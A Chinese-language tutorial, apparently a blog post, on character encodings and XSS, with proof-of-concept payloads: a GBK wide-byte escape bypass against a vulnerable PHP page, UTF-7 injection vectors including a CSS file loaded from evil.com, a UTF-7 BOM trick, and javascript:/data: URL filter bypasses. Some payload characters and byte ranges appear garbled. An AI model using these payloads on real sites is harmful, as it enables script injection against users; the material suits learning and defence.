字符集编码及XSS

1.字符/字节与字符集

字符与字节

肉眼看到的一个文字或符号单元就是一个字符(包括乱码),一个字符可能对应1~n个字节,1字节为8位,每一位要么为1,要么为0。

字符集

一个字符对应1~n个字节是由字符集与编码决定的,比如ASCII字符集就是一个字符对应1字节,不过1字节只用了7位,最高位用于其他目的,所以ASCII字符集共有2的7次方(128)字符,基本就是键盘上的英文字符(包括控制符)。

ASCII字符集表达不了拉丁系的字符,更表达不了东亚字符,所以各种演变出现了诸多字符集,如ISO8859系列、GB2312、GBK、GB18030、BIG5、Shift JIS等。直到Unicode字符集出现,才看到了世界和平的曙光,但是各国的这些字符集还在沿用,不可能清零从头开始,所以这个字符的世界还是很混乱。

字符集编码

字符集大都对应一种编码方式(比如GBK字符集对应了GBK编码),不过Unicode字符集的编码方式有UTF-8、UTF-16、UTF-32、UTF-7,常见的是UTF-8与UTF-7。

编码的目的是最终将这些字符正确地转换为计算机可理解的二进制,对应的解码就是将二进制最终解码将人类可读的字符。

2.宽字节编码带来的安全问题

GIB2312、GBK、GB18030、BIG5、Shift_JIS等这些都是常说的宽字节,实际上只有两字节。宽字节带来的安全问题主要是吃ASCII字符(一字节)的现象,比如下面这个PHP示例,在magic_quotes_gpc=On的情况下,如何触发XSS?

1
2
3
4
5
6
7
<?php header("Content-Type: text/html;charset=GBK"); ?>
<head>
<title>gb xss</title>
</head>
<script>
a="<?php echo $_GET['x'];?>";
</script>

我们会想到,需要闭合双引号才行,如果只是提交如下语句:

1
gb.php?x=1";alert(1)//

双引号会被转义成\”,导致闭合失败

1
a="1\";alert(1)\\"

由于这个网页头部响应指明了这是GBK编码,GBK编码第一字节(高字节)的范围是0x810xFE,第二字节(低字节)的范围是0x400x7E0x800xFE,这样的十六进制表示。而\符号的十六进制表示为0x5C,正好在GBK的低字节中,如果之前有一个高字节,那么正好会被组成一个合法字符,于是提交如下:

1
gb.php?x=1%81";alert(1)//

双引号会继续被转义成\”,最终如下:

1
a="1[0x81]\";alert(1)//";

[0x81]\组成了一个合法字符,于是之后的双引号就会产生闭合,这样我们就成功触发了XSS。

这些宽字节编码的高低位范围都不太相同,具体可以查相关维基百科。

这里有一点要注意,GB2312是被GBK兼容的,它的高位范围是0xA10xF7,低位范围是0xA10xFE0x5C不在该范围内),把上面的PHP代码的GBK改为GB2312,在浏览器中处理行为同GBK,也许是由于GBK兼容GB2312,浏览器都做了同样的兼容:把GB2312统一按GBK行为处理。

上面这类宽字节编码问题的影响非常普遍,不仅是XSS这么简单,从前端到后端的流程中,字符集编码处理不一致可能导致SQL注入、命令执行等一系列安全问题。

UTF-7 问题

UTF-7 是 Unicode字符集的一种编码方式,不过并非是标准推荐的。现在仅IE还支持UTF-7的解析。UTF-7的存在是有历史原因的。

自动选择UTF-7编码

在IE6/7时代,如果没声明HTTP响应头字符集编码方式或声明错误:

1
2
3
Content-Type: text/html charset=utf-8	// 声明字符集编码方式
Content-Type: text/html // 未声明字符集编码方式
Content-Type: text/html; charset=uf-8 // 声明错误的字符集编码方式

同时,<meta http-equiv>未指定charset或指定错误,那么IE浏览器会判断响应内容中,是否出现UTF-7编码的字符串,如果有当前页面会自动选择UTF-7编码方式。如

1
2
3
<title>utf-7 xss</title>
+Adw-script+AD4-alert+AD4-alert(document.location)+ADW-/script+AD4-
<div>123</div>

通过iframe方式调用外部UTF-7编码的HTML文件

父页通过Content-Type或<meta>标签来声明UTF-7编码,然后通过<iframe>标签嵌入外部UTF-7编码的HTML文件。代码如下:

1
2
3
4
5
6
<html>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-7">
<body>
<iframe src="utf-7.html"/>
</body>
</html>

utf-7.html代码内容如下:

1
2
3
<html>
+ADW-script+AD4-alert('XSS')+ADw-/script+AD4-
</html>

不过IE现在也限制了<iframe>只能嵌入同域内地UTF-7编码文件,虽然曾经有通过重定向跳转到外域的方式绕过这个限制。

通过link方式调用外部UTF-7编码的CSS文件

通过标签嵌入外部UTF-7编码的CSS文件,此时父页不需要声明UTF-7编码方式。代码如下:

1
2
3
4
<html>
<title>123</title>
<link rel="stylesheet" href="http://evil.com/utf7.css" type="text/css"/>
</html>

utf7.css:

1
2
@charset "utf-7";
body+AHs-x;expression(if(!window.x)+AHs-alert(1)+ADs-window.x=1+ADsAfQ-)+AHO-

通过指定的BOM文件头

这里的BOM不是brower…,指的是Byte Order Mark,即标记字节顺序码,只出现在Unicode字符集中,BOM出现在文件的最开始位置,软件通过识别文件的BOM来判断它的Unicode字符集编码方式,常见的BOM头如下

字符集编码 BOM
UTF-8 EF BB BF,可以不需要
UTF-16LE FF FE
UTF-16BE FE FF
UTF-32LE FF FE 00 00
UTF-32BE 00 00 FE FF
UTF-7 2B 2F 76和1字节以下:[38 39 2B 2F],这4字节的组合翻译为对应的字符是:+/v8,+/v9,+/v+,+/v/

其中,LE是Little Endian,指地位字节在前,高位字节在后;BE是Big Endian,指高位字节在前,低位字节在后。

相关解析软件如果发现BOM是+/v8,就认为目标文档时UTF-7编码,IE曾经出现的漏洞就是:以最高的优先级判断UTF-7 BOM头。这样只要能控制目标网页开头是UTF-7 BOM头,后续的内容就可以以UTF-7方式编码,从而绕过过滤器。

在实际的攻击场景中,能控制目标网页开头部分的功能如下:
= 用户自定义的CSS样式文件

  • JSON CallBack类型的链接,这类出现在几乎各大Web2.0网站中。

修补这类安全问题很简单,只要在目标网页开头部分强制加一个空格即可,这样BOM头就无效了。

浏览器处理字符集编码BUG带来的安全问题

历史上所有浏览器在处理字符集编码时都出现过BUG。

绕过浏览器XSS Filter

XSS Filter主要针对反射型XSS,大体上采用的是一种启发式的检测,根据用户提交的参数判断是否是潜在的XSS特征,并重新渲染响应内容保证潜在的XSS特征不会触发。

demo1

1
<a href="javasc&NewLine;ript&colon;alert(1)">click</a>

解析器-词法分析器 Parser-Lexer combination
解析可以分为两个子过程——语法分析及词法分析

词法分析就是将输入分解为符号,符号是语言的词汇表——基本有效单元的集合。对于人类语言来说,它相当于我们字典中出现的所有单词。

语法分析指对语言应用语法规则。

解析器一般将工作分配给两个组件——词法分析器(有时也叫分词器)负责将输入分解为合法的符号,解析器则根据语言的语法规则分析文档结构,从而构建解析树,词法分析器知道怎么跳过空白和换行之类的无关字符。

首先html编码被还原出来 然后就成了换行 跟冒号

1
2
<a href="javasc
ript:alert(1)">click</a>

为什么换行后还能够执行 是因为浏览器中的解析器中词法分析器 起的作用会跳过空白跟换行之类的无效字符。

然后就构造成了一个完整的语句

1
<a href="javascript:alert(1)">click</a>

不过呢现代浏览器对其做了filter处理,点击时,chrome 报错:

1
Refused to run the JavaScript URL because it violates the following Content Security Policy directive: "script-src 'strict-dynamic' 'sha256-1+GSDjMMklBjZY0QiWq+tGupCvajw4Xbn46ect2mZgM=' 'sha256-2mX1M62Fd0u8q0dQY2mRsK5S1NS9jJuQAvyE8tD0dkQ=' 'sha256-6ilhNY6mjQEQ9pQ14zz/I7nMIcfHcceCwbNxtAalnbQ=' 'sha256-HqdPsO6hNmT/mfSeGdcX3eEGrZVva7AKD2Z2+1ujCZ8=' 'sha256-5ArfzK+D442gOOu18DQ8eY13vaOV24n4bfqmSi17OoI=' 'sha256-IEF9PjeyU0vsr61C8cm3JQOerOYWdBsaGddCSPp6tZs=' 'sha256-RIDhH5uF+ciLoS6AP6ZkoxuwQyczkrTetThxXwVwFJI=' 'sha256-JtSk4wWrEa1SJ1s//InAZDhd+6uc3DEhS+CxpkRiER4='". Either the 'unsafe-inline' keyword, a hash ('sha256-...'), or a nonce ('nonce-...') is required to enable inline execution.

demo2

1
<a href="data:text/html;base64, PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpPg==">test</a>

这样当test A链接点击时 就会以data协议 页面以html/text的方式解析 编码为base64 然后单点击a链接时 base64的编码就被还原成我们原本的

1
<img src=x οnerrοr=alert(1)>

同样的,现代浏览器对其做了filter处理,点击时,chrome 报错:

1
Not allowed to navigate top frame to data URL: data:text/html;base64, PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpPg==


相关链接